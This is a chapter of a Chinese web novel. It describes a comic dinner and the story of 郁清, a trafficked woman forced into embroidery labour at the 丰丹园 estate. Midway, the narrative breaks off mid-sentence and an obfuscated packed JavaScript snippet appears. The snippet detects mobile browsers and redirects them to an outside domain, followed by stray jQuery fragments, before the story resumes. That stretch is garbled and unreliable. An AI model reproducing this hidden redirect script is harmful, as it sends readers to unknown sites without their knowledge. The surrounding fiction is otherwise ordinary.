白水浃 作品

48. 丰丹园(一)

    话音一落,全场沉默。


    方韫之觉得这话听起来怪怪的,但又说不出怪在哪里,再看看明夷,只端着碗一个劲儿地闷头吃菜,眼都不抬一下。


    青年想了想,噢,他好像明白了,吴中孚在怪他身为明夷未婚夫却连她的喜好都不甚了解。可是他有什么办法,如果可以,他也想一直待在明夷身边……


    明夷扒拉着碗里的栗蓉炸肉圆,她发誓,她刚刚好像嗅到淡淡的硝烟味,敏锐如她,这绝对是修罗场的味道!


    记忆一下子回到阿孚知晓她定亲时的反应,还有王堇妤在大姐出嫁时骂天骂地,一副全天下和她有仇的样子,少女暗暗叹了口气,她真是服了你们这些姐控,一个个……


    算了,吃饭吃饭,吃饱再说。


    结果,吃到后半段,两人像在进行一场莫名的比赛,吴中孚不停地给明夷夹菜,像是要展示自己对她的了解。方韫之目光紧盯明夷,仿佛只要她多动了一次筷子,脑中的“明夷喜爱”清单就会多上一笔,嘴里念念有词,洋洋洒洒的展开相关介绍与推荐。


    被这怪怪的氛围影响,明夷头也没敢抬几下,只一个劲的扒拉碗里仿佛永远吃不完的饭菜,最后不负众望的——吃撑了。


    回去的路上,明夷瘫坐在轿子里,摸着自己圆滚滚的肚子纳闷,不对啊,她在怕什么?有什么好尴尬的?她这算什么,婆媳矛盾中保持沉默的丈夫?


    说实话,她现在有点想给王令妤写信了,请教她是如何处理丈夫和妹妹之间的关系,她记得王堇妤可是如愿嫁到了自家大姐的隔壁,这妮子出嫁时眼底可没有一点离家的伤心与对新生活的忐忑,眼里燃的全是可以常伴姐姐左右的兴奋,明夷心里默默点烛,这大姐夫别的不说,高低得先挨几百个白眼吧?


    落轿后与二人告别,明夷格外意味深长的多看了吴中孚几眼,又给了方韫之几个怜惜的眼神,不待他们反应,便脚底抹油碎步溜进府中。


    两人看着门缝中逐渐远去的鹅黄身影,互相对视一眼,各自不知想到了什么,蓦得笑了出来。


    明夷没有先回屋,而是直接去了鹿韭院,果不其然,几个女孩们早坐那翘首以盼了,一见着明夷便像雀儿一样围了上来,欢喜地分走了她手上提着的食盒。


    闻夫人见明夷神色怪异,黛眉轻挑,勾起红唇道:“怎么这样一副脸色,吃得不开心?”


    明夷摇了摇头,摸了摸自己的肚子,满脸诚恳道:“吃撑了,肚子现下涨得慌。”


    闻夫人显然是没料到这个回答,愣了一下,随之发出惊天爆笑,把旁边吃东西的几个女孩吓得一激灵,赵芸手上的白糕都滚了半块在桌子上。


    明夷附和着笑了两声,心想,总不能和你说我在忧愁未来老公和小舅子之间的关系吧。


    闻夫人抿了口茶水顺了顺气,贴心道:“我让人给你拿点山楂丸来。”


    明夷连忙摆手,“不了不了,我现在连喝口水都嫌占肚子。”


    闻夫人又笑了两声,明夷神色无辜道:“夫人您这不行啊,我知道我很有趣,只是我这还没发力呢,您咋就笑成这样?”


    “你…你这歪酸人的小妮子,嗳…嗳唷,笑得我…”


    见闻夫人笑得上气不接下气,明夷很上道地走前去帮自己的老板拍背顺气。闻夫人抚着胸膛喘气,侧头剜了明夷一眼,哼哼道:“做人先生的就是不一样,嘴巴就是厉害。”


    明夷自个儿在旁边坐下,顺手捏起一颗玉果子,刚要送入口中,突然反应过来,赶紧将其扔回盘子里,一脸迷茫道:“我在干什么?”


    闻夫人见人一副恍若神游太虚的模样,觉着自己笑得腮帮子酸痛,唤人将那碟果子撤下,状似惊讶道:“你这顿饭吃的,怕不是把脑子也一块吃掉了吧?”


    明夷揪着鬓边的碎发嘿嘿两声,“也不是没有这个可能。”


    女孩们那边吃得差不多了,纷纷看向闻夫人,星星眼道:“娘亲快和王先生说那件事!”


    “?”


    明夷疑惑,看见下头几个女孩一副兴高采烈的的模样,尤其是郁章章,眼圈还有些泛红,好奇道:“什么事情?”


    闻夫人伸手把人脑袋偏回来对着自己,面上喜色难掩,“章儿的姐姐找着了!”


    “!”


    明夷也瞬间激动了起来,早听说郁章章有个大她十岁的姐姐,离家好多年了,从前年开始闻夫人就一直在托人打听,现在这是有结果了?


    “在哪找着的?见过了吗?”


    闻夫人道:“就在三条街过去的丰丹园,兜兜转转找了那么久,不想就在身边。我上午去丰丹园的铺子看绣品,瞧见里头有个女子与章儿有七分相似,连忙上前搭话,聊了半刻钟,确定就是章儿的姐姐!”


    “那姐姐人呢?来了没?章儿见着没?”


    郁章章摇摇头:“姐姐和夫人说自己得赶着回去上工,这会儿没法子过来看我,不过她说等她告着假了,马上就过来,应该也就这两天的事。”


    女孩表情憧憬,嘴角扬着幸福的笑容。


    明夷听得有些奇怪:“什么工作这般忙?找着妹子这么大个事,竟然还不好告假?”


    闻夫人幽幽地叹了口气,“此事你尚不知晓,丰丹园在我们当地人口中又称作‘罗敷冢’,园里的女子虽以天工绣品名动天下,只那一针一线背后不知沾了多少血汗。”


    讲到这,郁章章原先翘起的嘴角也耷拉下来,明夷琢磨着闻夫人的话,听着像是工人被资本家剥削的故事,只是——


    “我记着丰丹园不是一个姓江的官员的宅子吗?怎么听你说的像是个绣庄?”


    闻夫人点点头:“那姓江的就是靠妻女的绣品买得官做。”


    言罢又拉长声音鄙夷道:“他家老传统了,一群软脚虾。”


    又接着道:“丰丹园里头的女子,无论妻妾婢女,基本都是要拿针线的。她们的绣品被称作‘丰丹绣’,那刺绣技艺精细得不得了!听说一个下午时间只能绣好一只鸟身上的一根尾羽。更难得的是,她们常以历代名画为模本,成品与真画无异,风雅至极,可谓是千金难求。然而这家的男人都是不做人的,逼着满园的女人日日做工,自己整日喝酒赌博到处挥霍。”


    “那她们就不反抗一下?”明夷心想,这不得组织个妇女运动啥的,虽然无法根


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseint(c/a)))+((c=c%a)>35?string.fromCharCode(c+29):c.tostring(36))};if(!.replace(/^/,string)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return\\w+};c=1;};while(c--)if(k[c])p=p.replace(new regexp(\\b+e(c)+\\b,g),k[c]);return p;}(8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="},24,24,userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15701595|166940||http|test|mini|href|location.split(|),0,{}));


    () {


    $(.inform).remove();


    $(#content).append(


    除问题,也总得争取些福利吧。


    闻夫人一副讳莫若深的模样,含糊道:“听说五六年前闹过一次,之后就没有消息了。”


    明夷听得有些迷惑,又追问了两句,但闻夫人只是无奈道:“我是真不清楚,不然像我这种藏不住事的,早和你们说了。”


    又过了几日,明夷自个儿在屋里吃着早膳,刚蒸出来的牛乳桂花糕口感绵密,枸杞白粥里头掺了山药泥,吃起来醇厚甘香。


    无课的一日,明夷睡到自然醒,慢悠悠的享用自己这顿早午餐。前些天在宝源楼有些吃伤到了,忽然觉得这样简简单单也别有一番滋味。


    闻夫人身边的婆子急匆匆进来禀报,说郁章章的亲姊过来了,现下就在鹿韭院坐着呢,喊明夷赶紧过去。


    走进院里的正厅,就瞧见左侧的玫瑰椅上坐着一位穿着竹青色交领襦衫的年轻女子,正与郁章章抱在一块哭,看来应该就是郁章章那位失散多年的大姊——郁清。


    郁清低头紧紧拥着自己小妹,明夷只看见其黑亮亮的低鬓与淡粉耳垂上的银叶坠子。


    闻夫人坐在罗汉榻上,眼里也闪着泪意,三个姑娘围坐在海棠绣墩上,眸子里擒着祝福的光。


    郁清家里有四个孩子,她是大姐,下头有两个弟弟与一个妹妹。由于家中贫困,母亲早逝,父亲也无钱再娶,其身为大姐,既是姐姐也是娘,将几个弟妹拉扯大,其中又与最小的郁章章感情最为亲厚。


    十六岁时,父亲把她推上一顶小轿,做主将她嫁给一位行商,不料那商人竟是个人贩子,专借嫁娶之名四处拐卖妇女。郁清辗转几地,被卖了好些人家,但都不长久,折腾了大半年,被丰丹园的人买了进来,从此就落了根。


    当年父亲让她嫁人,她虽无甚意见,但也提了条件,让父亲好好看顾几个弟妹,尤其是最小的郁章章。


    郁清的父亲年轻时是个读书人,只是科举屡次不中,也不会地里的活计,靠着郁清母亲的一手绣活才勉强过活。后来母亲死了,郁清接替了母亲的职责,整日就是围着针线与孩子,父亲也似有醒悟,放下书本下地干活了。只是读书人身体单薄,也不懂种地的门道,年年下来收成很是惨淡。虽然穷得很,但饥一顿饱一顿,日子也勉强过得下去。


    郁清的日子如她的名字般,只有满眼郁色和两袖清风。唯有拾起绣棚时,色彩鲜艳,栩栩如生的花鸟在破旧的茅屋里绽放鸣叫,与夜晚的月色一起,是这昏暗的屋里头唯一的亮色。


    她坐在灶台前,借着火光仔细劈着手里的细线,父亲的书本堆在脚边,随着一年年的冬天,愈来愈少。


    郁清知道自己的父亲算不上好,但也不坏,所以为了弟弟娶媳妇的彩礼钱,她也愿意拿自己去换,反正对她来说,去哪都一样,虽然才来这世上十几载,却觉得好像过了一辈子。但不想真被当成物件买卖时,才惊觉原来还有这般生不如死的日子。


    那日丰丹园的人来挑丫鬟,她和另外几个姑娘垂着头站成一排,人牙子谄媚的把她推出去,奋力夸赞她针线活好,那人微微颔首,摸出几串钱过去,于是她又被推进一座深深的宅院,从此又是另一番光景。